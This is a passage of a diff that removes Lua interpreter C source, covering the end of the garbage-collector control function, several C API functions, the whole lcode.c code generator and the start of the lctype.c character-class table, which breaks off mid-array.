LUA_GCCOUNT: { - /* GC values are expressed in Kbytes: #bytes/2^10 */ - res = cast_int(gettotalbytes(g) >> 10); - break; - } - case LUA_GCCOUNTB: { - res = cast_int(gettotalbytes(g) & 0x3ff); - break; - } - case LUA_GCSTEP: { - if (g->gckind == KGC_GEN) { /* generational mode? */ - res = (g->GCestimate == 0); /* true if it will do major collection */ - luaC_forcestep(L); /* do a single step */ - } - else { - lu_mem debt = cast(lu_mem, data) * 1024 - GCSTEPSIZE; - if (g->gcrunning) - debt += g->GCdebt; /* include current debt */ - luaE_setdebt(g, debt); - luaC_forcestep(L); - if (g->gcstate == GCSpause) /* end of cycle? */ - res = 1; /* signal it */ - } - break; - } - case LUA_GCSETPAUSE: { - res = g->gcpause; - g->gcpause = data; - break; - } - case LUA_GCSETMAJORINC: { - res = g->gcmajorinc; - g->gcmajorinc = data; - break; - } - case LUA_GCSETSTEPMUL: { - res = g->gcstepmul; - g->gcstepmul = data; - break; - } - case LUA_GCISRUNNING: { - res = g->gcrunning; - break; - } - case LUA_GCGEN: { /* change collector to generational mode */ - luaC_changemode(L, KGC_GEN); - break; - } - case LUA_GCINC: { /* change collector to incremental mode */ - luaC_changemode(L, KGC_NORMAL); - break; - } - default: res = -1; /* invalid option */ - } - lua_unlock(L); - return res; -} - - - -/* -** miscellaneous functions -*/ - - -LUA_API int lua_error (lua_State *L) { - lua_lock(L); - api_checknelems(L, 1); - luaG_errormsg(L); - lua_unlock(L); - return 0; /* to avoid warnings */ -} - - -LUA_API int lua_next (lua_State *L, int idx) { - StkId t; - int more; - lua_lock(L); - t = index2addr(L, idx); - api_check(L, ttistable(t), "table expected"); - more = luaH_next(L, hvalue(t), L->top - 1); - if (more) { - api_incr_top(L); - } - else /* no more elements */ - L->top -= 1; /* remove key */ - lua_unlock(L); - return more; -} - - -LUA_API void lua_concat (lua_State *L, int n) { - lua_lock(L); - api_checknelems(L, n); - if (n >= 2) { - luaC_checkGC(L); - luaV_concat(L, n); - } - else if (n == 0) { /* push empty string */ - setsvalue2s(L, L->top, luaS_newlstr(L, "", 0)); - api_incr_top(L); - } - /* else n == 1; nothing to do */ - lua_unlock(L); -} - - -LUA_API void lua_len (lua_State *L, int idx) { - StkId t; - lua_lock(L); - t = index2addr(L, idx); - luaV_objlen(L, L->top, t); - api_incr_top(L); - lua_unlock(L); -} - - -LUA_API lua_Alloc lua_getallocf (lua_State *L, void **ud) { - lua_Alloc f; - lua_lock(L); - if (ud) *ud = G(L)->ud; - f = G(L)->frealloc; - lua_unlock(L); - return f; -} - - -LUA_API void lua_setallocf (lua_State *L, lua_Alloc f, void *ud) { - lua_lock(L); - G(L)->ud = ud; - G(L)->frealloc = f; - lua_unlock(L); -} - - -LUA_API void *lua_newuserdata (lua_State *L, size_t size) { - Udata *u; - lua_lock(L); - luaC_checkGC(L); - u = luaS_newudata(L, size, NULL); - setuvalue(L, L->top, u); - api_incr_top(L); - lua_unlock(L); - return u + 1; -} - - - -static const char *aux_upvalue (StkId fi, int n, TValue **val, - GCObject **owner) { - switch (ttype(fi)) { - case LUA_TCCL: { /* C closure */ - CClosure *f = clCvalue(fi); - if (!(1 <= n && n <= f->nupvalues)) return NULL; - *val = &f->upvalue[n-1]; - if (owner) *owner = obj2gco(f); - return ""; - } - case LUA_TLCL: { /* Lua closure */ - LClosure *f = clLvalue(fi); - TString *name; - Proto *p = f->p; - if (!(1 <= n && n <= p->sizeupvalues)) return NULL; - *val = f->upvals[n-1]->v; - if (owner) *owner = obj2gco(f->upvals[n - 1]); - name = p->upvalues[n-1].name; - return (name == NULL) ? "" : getstr(name); - } - default: return NULL; /* not a closure */ - } -} - - -LUA_API const char *lua_getupvalue (lua_State *L, int funcindex, int n) { - const char *name; - TValue *val = NULL; /* to avoid warnings */ - lua_lock(L); - name = aux_upvalue(index2addr(L, funcindex), n, &val, NULL); - if (name) { - setobj2s(L, L->top, val); - api_incr_top(L); - } - lua_unlock(L); - return name; -} - - -LUA_API const char *lua_setupvalue (lua_State *L, int funcindex, int n) { - const char *name; - TValue *val = NULL; /* to avoid warnings */ - GCObject *owner = NULL; /* to avoid warnings */ - StkId fi; - lua_lock(L); - fi = index2addr(L, funcindex); - api_checknelems(L, 1); - name = aux_upvalue(fi, n, &val, &owner); - if (name) { - L->top--; - setobj(L, val, L->top); - luaC_barrier(L, owner, L->top); - } - lua_unlock(L); - return name; -} - - -static UpVal **getupvalref (lua_State *L, int fidx, int n, LClosure **pf) { - LClosure *f; - StkId fi = index2addr(L, fidx); - api_check(L, ttisLclosure(fi), "Lua function expected"); - f = clLvalue(fi); - api_check(L, (1 <= n && n <= f->p->sizeupvalues), "invalid upvalue index"); - if (pf) *pf = f; - return &f->upvals[n - 1]; /* get its upvalue pointer */ -} - - -LUA_API void *lua_upvalueid (lua_State *L, int fidx, int n) { - StkId fi = index2addr(L, fidx); - switch (ttype(fi)) { - case LUA_TLCL: { /* lua closure */ - return *getupvalref(L, fidx, n, NULL); - } - case LUA_TCCL: { /* C closure */ - CClosure *f = clCvalue(fi); - api_check(L, 1 <= n && n <= f->nupvalues, "invalid upvalue index"); - return &f->upvalue[n - 1]; - } - default: { - api_check(L, 0, "closure expected"); - return NULL; - } - } -} - - -LUA_API void lua_upvaluejoin (lua_State *L, int fidx1, int n1, - int fidx2, int n2) { - LClosure *f1; - UpVal **up1 = getupvalref(L, fidx1, n1, &f1); - UpVal **up2 = getupvalref(L, fidx2, n2, NULL); - *up1 = *up2; - luaC_objbarrier(L, f1, *up2); -} - -/* -** $Id: lcode.c,v 2.60 2011/08/30 16:26:41 roberto Exp $ -** Code generator for Lua -** See Copyright Notice in lua.h -*/ - - -#include - -#define lcode_c -#define LUA_CORE - - - - -#define hasjumps(e) ((e)->t != (e)->f) - - -static int isnumeral(expdesc *e) { - return (e->k == VKNUM && e->t == NO_JUMP && e->f == NO_JUMP); -} - - -void luaK_nil (FuncState *fs, int from, int n) { - Instruction *previous; - int l = from + n - 1; /* last register to set nil */ - if (fs->pc > fs->lasttarget) { /* no jumps to current position? */ - previous = &fs->f->code[fs->pc-1]; - if (GET_OPCODE(*previous) == OP_LOADNIL) { - int pfrom = GETARG_A(*previous); - int pl = pfrom + GETARG_B(*previous); - if ((pfrom <= from && from <= pl + 1) || - (from <= pfrom && pfrom <= l + 1)) { /* can connect both? */ - if (pfrom < from) from = pfrom; /* from = min(from, pfrom) */ - if (pl > l) l = pl; /* l = max(l, pl) */ - SETARG_A(*previous, from); - SETARG_B(*previous, l - from); - return; - } - } /* else go through */ - } - luaK_codeABC(fs, OP_LOADNIL, from, n - 1, 0); /* else no optimization */ -} - - -int luaK_jump (FuncState *fs) { - int jpc = fs->jpc; /* save list of jumps to here */ - int j; - fs->jpc = NO_JUMP; - j = luaK_codeAsBx(fs, OP_JMP, 0, NO_JUMP); - luaK_concat(fs, &j, jpc); /* keep them on hold */ - return j; -} - - -void luaK_ret (FuncState *fs, int first, int nret) { - luaK_codeABC(fs, OP_RETURN, first, nret+1, 0); -} - - -static int condjump (FuncState *fs, OpCode op, int A, int B, int C) { - luaK_codeABC(fs, op, A, B, C); - return luaK_jump(fs); -} - - -static void fixjump (FuncState *fs, int pc, int dest) { - Instruction *jmp = &fs->f->code[pc]; - int offset = dest-(pc+1); - lua_assert(dest != NO_JUMP); - if (abs(offset) > MAXARG_sBx) - luaX_syntaxerror(fs->ls, "control structure too long"); - SETARG_sBx(*jmp, offset); -} - - -/* -** returns current `pc' and marks it as a jump target (to avoid wrong -** optimizations with consecutive instructions not in the same basic block). -*/ -int luaK_getlabel (FuncState *fs) { - fs->lasttarget = fs->pc; - return fs->pc; -} - - -static int getjump (FuncState *fs, int pc) { - int offset = GETARG_sBx(fs->f->code[pc]); - if (offset == NO_JUMP) /* point to itself represents end of list */ - return NO_JUMP; /* end of list */ - else - return (pc+1)+offset; /* turn offset into absolute position */ -} - - -static Instruction *getjumpcontrol (FuncState *fs, int pc) { - Instruction *pi = &fs->f->code[pc]; - if (pc >= 1 && testTMode(GET_OPCODE(*(pi-1)))) - return pi-1; - else - return pi; -} - - -/* -** check whether list has any jump that do not produce a value -** (or produce an inverted value) -*/ -static int need_value (FuncState *fs, int list) { - for (; list != NO_JUMP; list = getjump(fs, list)) { - Instruction i = *getjumpcontrol(fs, list); - if (GET_OPCODE(i) != OP_TESTSET) return 1; - } - return 0; /* not found */ -} - - -static int patchtestreg (FuncState *fs, int node, int reg) { - Instruction *i = getjumpcontrol(fs, node); - if (GET_OPCODE(*i) != OP_TESTSET) - return 0; /* cannot patch other instructions */ - if (reg != NO_REG && reg != GETARG_B(*i)) - SETARG_A(*i, reg); - else /* no register to put value or register already has the value */ - *i = CREATE_ABC(OP_TEST, GETARG_B(*i), 0, GETARG_C(*i)); - - return 1; -} - - -static void removevalues (FuncState *fs, int list) { - for (; list != NO_JUMP; list = getjump(fs, list)) - patchtestreg(fs, list, NO_REG); -} - - -static void patchlistaux (FuncState *fs, int list, int vtarget, int reg, - int dtarget) { - while (list != NO_JUMP) { - int next = getjump(fs, list); - if (patchtestreg(fs, list, reg)) - fixjump(fs, list, vtarget); - else - fixjump(fs, list, dtarget); /* jump to default target */ - list = next; - } -} - - -static void dischargejpc (FuncState *fs) { - patchlistaux(fs, fs->jpc, fs->pc, NO_REG, fs->pc); - fs->jpc = NO_JUMP; -} - - -void luaK_patchlist (FuncState *fs, int list, int target) { - if (target == fs->pc) - luaK_patchtohere(fs, list); - else { - lua_assert(target < fs->pc); - patchlistaux(fs, list, target, NO_REG, target); - } -} - - -LUAI_FUNC void luaK_patchclose (FuncState *fs, int list, int level) { - level++; /* argument is +1 to reserve 0 as non-op */ - while (list != NO_JUMP) { - int next = getjump(fs, list); - lua_assert(GET_OPCODE(fs->f->code[list]) == OP_JMP && - (GETARG_A(fs->f->code[list]) == 0 || - GETARG_A(fs->f->code[list]) >= level)); - SETARG_A(fs->f->code[list], level); - list = next; - } -} - - -void luaK_patchtohere (FuncState *fs, int list) { - luaK_getlabel(fs); - luaK_concat(fs, &fs->jpc, list); -} - - -void luaK_concat (FuncState *fs, int *l1, int l2) { - if (l2 == NO_JUMP) return; - else if (*l1 == NO_JUMP) - *l1 = l2; - else { - int list = *l1; - int next; - while ((next = getjump(fs, list)) != NO_JUMP) /* find last element */ - list = next; - fixjump(fs, list, l2); - } -} - - -static int luaK_code (FuncState *fs, Instruction i) { - Proto *f = fs->f; - dischargejpc(fs); /* `pc' will change */ - /* put new instruction in code array */ - luaM_growvector(fs->ls->L, f->code, fs->pc, f->sizecode, Instruction, - MAX_INT, "opcodes"); - f->code[fs->pc] = i; - /* save corresponding line information */ - luaM_growvector(fs->ls->L, f->lineinfo, fs->pc, f->sizelineinfo, int, - MAX_INT, "opcodes"); - f->lineinfo[fs->pc] = fs->ls->lastline; - return fs->pc++; -} - - -int luaK_codeABC (FuncState *fs, OpCode o, int a, int b, int c) { - lua_assert(getOpMode(o) == iABC); - lua_assert(getBMode(o) != OpArgN || b == 0); - lua_assert(getCMode(o) != OpArgN || c == 0); - lua_assert(a <= MAXARG_A && b <= MAXARG_B && c <= MAXARG_C); - return luaK_code(fs, CREATE_ABC(o, a, b, c)); -} - - -int luaK_codeABx (FuncState *fs, OpCode o, int a, unsigned int bc) { - lua_assert(getOpMode(o) == iABx || getOpMode(o) == iAsBx); - lua_assert(getCMode(o) == OpArgN); - lua_assert(a <= MAXARG_A && bc <= MAXARG_Bx); - return luaK_code(fs, CREATE_ABx(o, a, bc)); -} - - -static int codeextraarg (FuncState *fs, int a) { - lua_assert(a <= MAXARG_Ax); - return luaK_code(fs, CREATE_Ax(OP_EXTRAARG, a)); -} - - -int luaK_codek (FuncState *fs, int reg, int k) { - if (k <= MAXARG_Bx) - return luaK_codeABx(fs, OP_LOADK, reg, k); - else { - int p = luaK_codeABx(fs, OP_LOADKX, reg, 0); - codeextraarg(fs, k); - return p; - } -} - - -void luaK_checkstack (FuncState *fs, int n) { - int newstack = fs->freereg + n; - if (newstack > fs->f->maxstacksize) { - if (newstack >= MAXSTACK) - luaX_syntaxerror(fs->ls, "function or expression too complex"); - fs->f->maxstacksize = cast_byte(newstack); - } -} - - -void luaK_reserveregs (FuncState *fs, int n) { - luaK_checkstack(fs, n); - fs->freereg += n; -} - - -static void freereg (FuncState *fs, int reg) { - if (!ISK(reg) && reg >= fs->nactvar) { - fs->freereg--; - lua_assert(reg == fs->freereg); - } -} - - -static void freeexp (FuncState *fs, expdesc *e) { - if (e->k == VNONRELOC) - freereg(fs, e->u.info); -} - - -static int addk (FuncState *fs, TValue *key, TValue *v) { - lua_State *L = fs->ls->L; - TValue *idx = luaH_set(L, fs->h, key); - Proto *f = fs->f; - int k, oldsize; - if (ttisnumber(idx)) { - lua_Number n = nvalue(idx); - lua_number2int(k, n); - if (luaV_rawequalobj(&f->k[k], v)) - return k; - /* else may be a collision (e.g., between 0.0 and "\0\0\0\0\0\0\0\0"); - go through and create a new entry for this value */ - } - /* constant not found; create a new entry */ - oldsize = f->sizek; - k = fs->nk; - /* numerical value does not need GC barrier; - table has no metatable, so it does not need to invalidate cache */ - setnvalue(idx, cast_num(k)); - luaM_growvector(L, f->k, k, f->sizek, TValue, MAXARG_Ax, "constants"); - while (oldsize < f->sizek) setnilvalue(&f->k[oldsize++]); - setobj(L, &f->k[k], v); - fs->nk++; - luaC_barrier(L, f, v); - return k; -} - - -int luaK_stringK (FuncState *fs, TString *s) { - TValue o; - setsvalue(fs->ls->L, &o, s); - return addk(fs, &o, &o); -} - - -int luaK_numberK (FuncState *fs, lua_Number r) { - int n; - lua_State *L = fs->ls->L; - TValue o; - setnvalue(&o, r); - if (r == 0 || luai_numisnan(NULL, r)) { /* handle -0 and NaN */ - /* use raw representation as key to avoid numeric problems */ - setsvalue(L, L->top, luaS_newlstr(L, (char *)&r, sizeof(r))); - incr_top(L); - n = addk(fs, L->top - 1, &o); - L->top--; - } - else - n = addk(fs, &o, &o); /* regular case */ - return n; -} - - -static int boolK (FuncState *fs, int b) { - TValue o; - setbvalue(&o, b); - return addk(fs, &o, &o); -} - - -static int nilK (FuncState *fs) { - TValue k, v; - setnilvalue(&v); - /* cannot use nil as key; instead use table itself to represent nil */ - sethvalue(fs->ls->L, &k, fs->h); - return addk(fs, &k, &v); -} - - -void luaK_setreturns (FuncState *fs, expdesc *e, int nresults) { - if (e->k == VCALL) { /* expression is an open function call? */ - SETARG_C(getcode(fs, e), nresults+1); - } - else if (e->k == VVARARG) { - SETARG_B(getcode(fs, e), nresults+1); - SETARG_A(getcode(fs, e), fs->freereg); - luaK_reserveregs(fs, 1); - } -} - - -void luaK_setoneret (FuncState *fs, expdesc *e) { - if (e->k == VCALL) { /* expression is an open function call? */ - e->k = VNONRELOC; - e->u.info = GETARG_A(getcode(fs, e)); - } - else if (e->k == VVARARG) { - SETARG_B(getcode(fs, e), 2); - e->k = VRELOCABLE; /* can relocate its simple result */ - } -} - - -void luaK_dischargevars (FuncState *fs, expdesc *e) { - switch (e->k) { - case VLOCAL: { - e->k = VNONRELOC; - break; - } - case VUPVAL: { - e->u.info = luaK_codeABC(fs, OP_GETUPVAL, 0, e->u.info, 0); - e->k = VRELOCABLE; - break; - } - case VINDEXED: { - OpCode op = OP_GETTABUP; /* assume 't' is in an upvalue */ - freereg(fs, e->u.ind.idx); - if (e->u.ind.vt == VLOCAL) { /* 't' is in a register? */ - freereg(fs, e->u.ind.t); - op = OP_GETTABLE; - } - e->u.info = luaK_codeABC(fs, op, 0, e->u.ind.t, e->u.ind.idx); - e->k = VRELOCABLE; - break; - } - case VVARARG: - case VCALL: { - luaK_setoneret(fs, e); - break; - } - default: break; /* there is one value available (somewhere) */ - } -} - - -static int code_label (FuncState *fs, int A, int b, int jump) { - luaK_getlabel(fs); /* those instructions may be jump targets */ - return luaK_codeABC(fs, OP_LOADBOOL, A, b, jump); -} - - -static void discharge2reg (FuncState *fs, expdesc *e, int reg) { - luaK_dischargevars(fs, e); - switch (e->k) { - case VNIL: { - luaK_nil(fs, reg, 1); - break; - } - case VFALSE: case VTRUE: { - luaK_codeABC(fs, OP_LOADBOOL, reg, e->k == VTRUE, 0); - break; - } - case VK: { - luaK_codek(fs, reg, e->u.info); - break; - } - case VKNUM: { - luaK_codek(fs, reg, luaK_numberK(fs, e->u.nval)); - break; - } - case VRELOCABLE: { - Instruction *pc = &getcode(fs, e); - SETARG_A(*pc, reg); - break; - } - case VNONRELOC: { - if (reg != e->u.info) - luaK_codeABC(fs, OP_MOVE, reg, e->u.info, 0); - break; - } - default: { - lua_assert(e->k == VVOID || e->k == VJMP); - return; /* nothing to do... */ - } - } - e->u.info = reg; - e->k = VNONRELOC; -} - - -static void discharge2anyreg (FuncState *fs, expdesc *e) { - if (e->k != VNONRELOC) { - luaK_reserveregs(fs, 1); - discharge2reg(fs, e, fs->freereg-1); - } -} - - -static void exp2reg (FuncState *fs, expdesc *e, int reg) { - discharge2reg(fs, e, reg); - if (e->k == VJMP) - luaK_concat(fs, &e->t, e->u.info); /* put this jump in `t' list */ - if (hasjumps(e)) { - int final; /* position after whole expression */ - int p_f = NO_JUMP; /* position of an eventual LOAD false */ - int p_t = NO_JUMP; /* position of an eventual LOAD true */ - if (need_value(fs, e->t) || need_value(fs, e->f)) { - int fj = (e->k == VJMP) ? NO_JUMP : luaK_jump(fs); - p_f = code_label(fs, reg, 0, 1); - p_t = code_label(fs, reg, 1, 0); - luaK_patchtohere(fs, fj); - } - final = luaK_getlabel(fs); - patchlistaux(fs, e->f, final, reg, p_f); - patchlistaux(fs, e->t, final, reg, p_t); - } - e->f = e->t = NO_JUMP; - e->u.info = reg; - e->k = VNONRELOC; -} - - -void luaK_exp2nextreg (FuncState *fs, expdesc *e) { - luaK_dischargevars(fs, e); - freeexp(fs, e); - luaK_reserveregs(fs, 1); - exp2reg(fs, e, fs->freereg - 1); -} - - -int luaK_exp2anyreg (FuncState *fs, expdesc *e) { - luaK_dischargevars(fs, e); - if (e->k == VNONRELOC) { - if (!hasjumps(e)) return e->u.info; /* exp is already in a register */ - if (e->u.info >= fs->nactvar) { /* reg. is not a local? */ - exp2reg(fs, e, e->u.info); /* put value on it */ - return e->u.info; - } - } - luaK_exp2nextreg(fs, e); /* default */ - return e->u.info; -} - - -void luaK_exp2anyregup (FuncState *fs, expdesc *e) { - if (e->k != VUPVAL || hasjumps(e)) - luaK_exp2anyreg(fs, e); -} - - -void luaK_exp2val (FuncState *fs, expdesc *e) { - if (hasjumps(e)) - luaK_exp2anyreg(fs, e); - else - luaK_dischargevars(fs, e); -} - - -int luaK_exp2RK (FuncState *fs, expdesc *e) { - luaK_exp2val(fs, e); - switch (e->k) { - case VTRUE: - case VFALSE: - case VNIL: { - if (fs->nk <= MAXINDEXRK) { /* constant fits in RK operand? */ - e->u.info = (e->k == VNIL) ? nilK(fs) : boolK(fs, (e->k == VTRUE)); - e->k = VK; - return RKASK(e->u.info); - } - else break; - } - case VKNUM: { - e->u.info = luaK_numberK(fs, e->u.nval); - e->k = VK; - /* go through */ - } - case VK: { - if (e->u.info <= MAXINDEXRK) /* constant fits in argC? */ - return RKASK(e->u.info); - else break; - } - default: break; - } - /* not a constant in the right range: put it in a register */ - return luaK_exp2anyreg(fs, e); -} - - -void luaK_storevar (FuncState *fs, expdesc *var, expdesc *ex) { - switch (var->k) { - case VLOCAL: { - freeexp(fs, ex); - exp2reg(fs, ex, var->u.info); - return; - } - case VUPVAL: { - int e = luaK_exp2anyreg(fs, ex); - luaK_codeABC(fs, OP_SETUPVAL, e, var->u.info, 0); - break; - } - case VINDEXED: { - OpCode op = (var->u.ind.vt == VLOCAL) ? OP_SETTABLE : OP_SETTABUP; - int e = luaK_exp2RK(fs, ex); - luaK_codeABC(fs, op, var->u.ind.t, var->u.ind.idx, e); - break; - } - default: { - lua_assert(0); /* invalid var kind to store */ - break; - } - } - freeexp(fs, ex); -} - - -void luaK_self (FuncState *fs, expdesc *e, expdesc *key) { - int ereg; - luaK_exp2anyreg(fs, e); - ereg = e->u.info; /* register where 'e' was placed */ - freeexp(fs, e); - e->u.info = fs->freereg; /* base register for op_self */ - e->k = VNONRELOC; - luaK_reserveregs(fs, 2); /* function and 'self' produced by op_self */ - luaK_codeABC(fs, OP_SELF, e->u.info, ereg, luaK_exp2RK(fs, key)); - freeexp(fs, key); -} - - -static void invertjump (FuncState *fs, expdesc *e) { - Instruction *pc = getjumpcontrol(fs, e->u.info); - lua_assert(testTMode(GET_OPCODE(*pc)) && GET_OPCODE(*pc) != OP_TESTSET && - GET_OPCODE(*pc) != OP_TEST); - SETARG_A(*pc, !(GETARG_A(*pc))); -} - - -static int jumponcond (FuncState *fs, expdesc *e, int cond) { - if (e->k == VRELOCABLE) { - Instruction ie = getcode(fs, e); - if (GET_OPCODE(ie) == OP_NOT) { - fs->pc--; /* remove previous OP_NOT */ - return condjump(fs, OP_TEST, GETARG_B(ie), 0, !cond); - } - /* else go through */ - } - discharge2anyreg(fs, e); - freeexp(fs, e); - return condjump(fs, OP_TESTSET, NO_REG, e->u.info, cond); -} - - -void luaK_goiftrue (FuncState *fs, expdesc *e) { - int pc; /* pc of last jump */ - luaK_dischargevars(fs, e); - switch (e->k) { - case VJMP: { - invertjump(fs, e); - pc = e->u.info; - break; - } - case VK: case VKNUM: case VTRUE: { - pc = NO_JUMP; /* always true; do nothing */ - break; - } - default: { - pc = jumponcond(fs, e, 0); - break; - } - } - luaK_concat(fs, &e->f, pc); /* insert last jump in `f' list */ - luaK_patchtohere(fs, e->t); - e->t = NO_JUMP; -} - - -void luaK_goiffalse (FuncState *fs, expdesc *e) { - int pc; /* pc of last jump */ - luaK_dischargevars(fs, e); - switch (e->k) { - case VJMP: { - pc = e->u.info; - break; - } - case VNIL: case VFALSE: { - pc = NO_JUMP; /* always false; do nothing */ - break; - } - default: { - pc = jumponcond(fs, e, 1); - break; - } - } - luaK_concat(fs, &e->t, pc); /* insert last jump in `t' list */ - luaK_patchtohere(fs, e->f); - e->f = NO_JUMP; -} - - -static void codenot (FuncState *fs, expdesc *e) { - luaK_dischargevars(fs, e); - switch (e->k) { - case VNIL: case VFALSE: { - e->k = VTRUE; - break; - } - case VK: case VKNUM: case VTRUE: { - e->k = VFALSE; - break; - } - case VJMP: { - invertjump(fs, e); - break; - } - case VRELOCABLE: - case VNONRELOC: { - discharge2anyreg(fs, e); - freeexp(fs, e); - e->u.info = luaK_codeABC(fs, OP_NOT, 0, e->u.info, 0); - e->k = VRELOCABLE; - break; - } - default: { - lua_assert(0); /* cannot happen */ - break; - } - } - /* interchange true and false lists */ - { int temp = e->f; e->f = e->t; e->t = temp; } - removevalues(fs, e->f); - removevalues(fs, e->t); -} - - -void luaK_indexed (FuncState *fs, expdesc *t, expdesc *k) { - lua_assert(!hasjumps(t)); - t->u.ind.t = t->u.info; - t->u.ind.idx = luaK_exp2RK(fs, k); - t->u.ind.vt = (t->k == VUPVAL) ? VUPVAL - : check_exp(vkisinreg(t->k), VLOCAL); - t->k = VINDEXED; -} - - -static int constfolding (OpCode op, expdesc *e1, expdesc *e2) { - lua_Number r; - if (!isnumeral(e1) || !isnumeral(e2)) return 0; - if ((op == OP_DIV || op == OP_MOD) && e2->u.nval == 0) - return 0; /* do not attempt to divide by 0 */ - r = luaO_arith(op - OP_ADD + LUA_OPADD, e1->u.nval, e2->u.nval); - e1->u.nval = r; - return 1; -} - - -static void codearith (FuncState *fs, OpCode op, - expdesc *e1, expdesc *e2, int line) { - if (constfolding(op, e1, e2)) - return; - else { - int o2 = (op != OP_UNM && op != OP_LEN) ? luaK_exp2RK(fs, e2) : 0; - int o1 = luaK_exp2RK(fs, e1); - if (o1 > o2) { - freeexp(fs, e1); - freeexp(fs, e2); - } - else { - freeexp(fs, e2); - freeexp(fs, e1); - } - e1->u.info = luaK_codeABC(fs, op, 0, o1, o2); - e1->k = VRELOCABLE; - luaK_fixline(fs, line); - } -} - - -static void codecomp (FuncState *fs, OpCode op, int cond, expdesc *e1, - expdesc *e2) { - int o1 = luaK_exp2RK(fs, e1); - int o2 = luaK_exp2RK(fs, e2); - freeexp(fs, e2); - freeexp(fs, e1); - if (cond == 0 && op != OP_EQ) { - int temp; /* exchange args to replace by `<' or `<=' */ - temp = o1; o1 = o2; o2 = temp; /* o1 <==> o2 */ - cond = 1; - } - e1->u.info = condjump(fs, op, cond, o1, o2); - e1->k = VJMP; -} - - -void luaK_prefix (FuncState *fs, UnOpr op, expdesc *e, int line) { - expdesc e2; - e2.t = e2.f = NO_JUMP; e2.k = VKNUM; e2.u.nval = 0; - switch (op) { - case OPR_MINUS: { - if (isnumeral(e)) /* minus constant? */ - e->u.nval = luai_numunm(NULL, e->u.nval); /* fold it */ - else { - luaK_exp2anyreg(fs, e); - codearith(fs, OP_UNM, e, &e2, line); - } - break; - } - case OPR_NOT: codenot(fs, e); break; - case OPR_LEN: { - luaK_exp2anyreg(fs, e); /* cannot operate on constants */ - codearith(fs, OP_LEN, e, &e2, line); - break; - } - default: lua_assert(0); - } -} - - -void luaK_infix (FuncState *fs, BinOpr op, expdesc *v) { - switch (op) { - case OPR_AND: { - luaK_goiftrue(fs, v); - break; - } - case OPR_OR: { - luaK_goiffalse(fs, v); - break; - } - case OPR_CONCAT: { - luaK_exp2nextreg(fs, v); /* operand must be on the `stack' */ - break; - } - case OPR_ADD: case OPR_SUB: case OPR_MUL: case OPR_DIV: - case OPR_MOD: case OPR_POW: { - if (!isnumeral(v)) luaK_exp2RK(fs, v); - break; - } - default: { - luaK_exp2RK(fs, v); - break; - } - } -} - - -void luaK_posfix (FuncState *fs, BinOpr op, - expdesc *e1, expdesc *e2, int line) { - switch (op) { - case OPR_AND: { - lua_assert(e1->t == NO_JUMP); /* list must be closed */ - luaK_dischargevars(fs, e2); - luaK_concat(fs, &e2->f, e1->f); - *e1 = *e2; - break; - } - case OPR_OR: { - lua_assert(e1->f == NO_JUMP); /* list must be closed */ - luaK_dischargevars(fs, e2); - luaK_concat(fs, &e2->t, e1->t); - *e1 = *e2; - break; - } - case OPR_CONCAT: { - luaK_exp2val(fs, e2); - if (e2->k == VRELOCABLE && GET_OPCODE(getcode(fs, e2)) == OP_CONCAT) { - lua_assert(e1->u.info == GETARG_B(getcode(fs, e2))-1); - freeexp(fs, e1); - SETARG_B(getcode(fs, e2), e1->u.info); - e1->k = VRELOCABLE; e1->u.info = e2->u.info; - } - else { - luaK_exp2nextreg(fs, e2); /* operand must be on the 'stack' */ - codearith(fs, OP_CONCAT, e1, e2, line); - } - break; - } - case OPR_ADD: case OPR_SUB: case OPR_MUL: case OPR_DIV: - case OPR_MOD: case OPR_POW: { - codearith(fs, cast(OpCode, op - OPR_ADD + OP_ADD), e1, e2, line); - break; - } - case OPR_EQ: case OPR_LT: case OPR_LE: { - codecomp(fs, cast(OpCode, op - OPR_EQ + OP_EQ), 1, e1, e2); - break; - } - case OPR_NE: case OPR_GT: case OPR_GE: { - codecomp(fs, cast(OpCode, op - OPR_NE + OP_EQ), 0, e1, e2); - break; - } - default: lua_assert(0); - } -} - - -void luaK_fixline (FuncState *fs, int line) { - fs->f->lineinfo[fs->pc - 1] = line; -} - - -void luaK_setlist (FuncState *fs, int base, int nelems, int tostore) { - int c = (nelems - 1)/LFIELDS_PER_FLUSH + 1; - int b = (tostore == LUA_MULTRET) ? 0 : tostore; - lua_assert(tostore != 0); - if (c <= MAXARG_C) - luaK_codeABC(fs, OP_SETLIST, base, b, c); - else if (c <= MAXARG_Ax) { - luaK_codeABC(fs, OP_SETLIST, base, b, 0); - codeextraarg(fs, c); - } - else - luaX_syntaxerror(fs->ls, "constructor too long"); - fs->freereg = base + 1; /* free registers with list values */ -} - -/* -** $Id: lctype.c,v 1.11 2011/10/03 16:19:23 roberto Exp $ -** 'ctype' functions for Lua -** See Copyright Notice in lua.h -*/ - -#define lctype_c -#define LUA_CORE - - -#if !LUA_USE_CTYPE /* { */ - -#include - -LUAI_DDEF const lu_byte luai_ctype_[UCHAR_MAX + 2] = { - 0x00, /* EOZ */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 0. */ - 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 1. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0c, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, /* 2. */ - 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, - 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, /* 3. */ - 0x16, 0x16, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, - 0x04, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x05, /* 4. */ - 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, - 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, /* 5. */ - 0x05, 0x05, 0x05, 0x04, 0x04, 0x04, 0x04, 0x05, - 0x04, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x05, /* 6. */ - 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, - 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, /* 7. */ - 0x05, 0x05, 0x05, 0x04, 0x04, 0x04, 0x04, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 8. */ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 9. */ - 0x00, 0x00, 